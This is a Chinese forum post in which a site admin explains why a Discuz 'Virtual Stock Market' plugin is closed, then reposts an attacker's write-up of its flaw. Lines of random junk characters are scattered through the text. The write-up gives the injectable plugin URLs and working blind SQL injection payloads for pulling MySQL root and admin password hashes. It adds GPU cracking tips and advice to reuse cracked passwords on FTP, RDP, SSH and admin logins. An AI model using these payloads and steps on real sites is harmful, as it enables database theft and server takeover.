TA的每日心情 | 擦汗 半小时前 |
---|
签到天数: 2372 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。
2 d4 {) \ ?) ~2 m/ ]8 T7 ^ e Y" n, H
^8 q( H$ C) M6 t3 h( d2 J; X我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。
: j5 D- a% z' r& i3 F; a- I" q9 R* n `
漏洞如下:. C$ Y- [8 r, }. e
/ e j9 ~5 v1 Y( h
Discuz插件《虚拟股市》blind Injection Vul利用 ! x `8 W: l/ J- V+ L! M$ N4 @; I
0 R( i) L' S* w/ W, \3 ~
, M, G6 D( n% j' I漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。 1 v2 O8 |- z! Y$ k/ V
经过简单的测试,就发现了《虚拟股市》存在注射漏洞: . l; a) Y7 A6 q |
http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数
' ]( F0 [6 ]3 g4 r$ _; X& E* W& m* jhttp://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数
" k0 H, z# E/ |! A+ ~9 p4 o确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。 ) x7 a& W5 K! {
思路有二:
; @5 U( c# ] j' x1.尝试盲注 3 D% Y' G- s* a! p: O
2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数 ! O6 m# w: G4 t$ ?! P* B4 u
但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。
. ^/ I- M% p6 k7 O盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下:
. N0 P* o9 S* M+ B% t7 N2 E#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 7 J/ F( ]3 i6 f8 r& v P3 N% j# y
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5 J! u2 C0 X3 ~2 `
#是否支持子查询(版本为4的情况下) ) O, {# p( i% O% w% ?" ~/ Y
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1
) A9 ]! K& v- P5 J. P# }* f#当前用户是否为root
6 }& p+ ]5 z1 ^4 i# c/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1
% T2 A2 q. l5 X3 g' F下面就根据情况而异了:
2 x; R5 k' D0 J* d Z @7 L5 `3 b% h1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。 1 A* D. a. }! W8 m
2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。 % y. E# e( g# W( u7 G- Z7 I# a4 e( z
#######取数据
. T" Z: Z: l& @8 h# ?$ g2 i; v#mysql.user表第一行第一个字符的ASCII值是否大于80 5 H" p E, r* I
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80
# |% ?' P3 i" j/ h7 ^#第二个字符的ASCII值是否大于90 ( w7 ^/ [0 ]( Y0 D \' d Q
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90 $ x1 A9 p. `% e4 F0 D
…………
4 H7 \$ S# W4 J+ [1 ~3 H就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。
# b" U8 ~; S% i5 a2 q密码破解: 9 V6 S4 z5 I- f; U( g' l- ~' X; O) i% O
1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。
1 b7 k6 J3 c; e& z: S/ i p2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|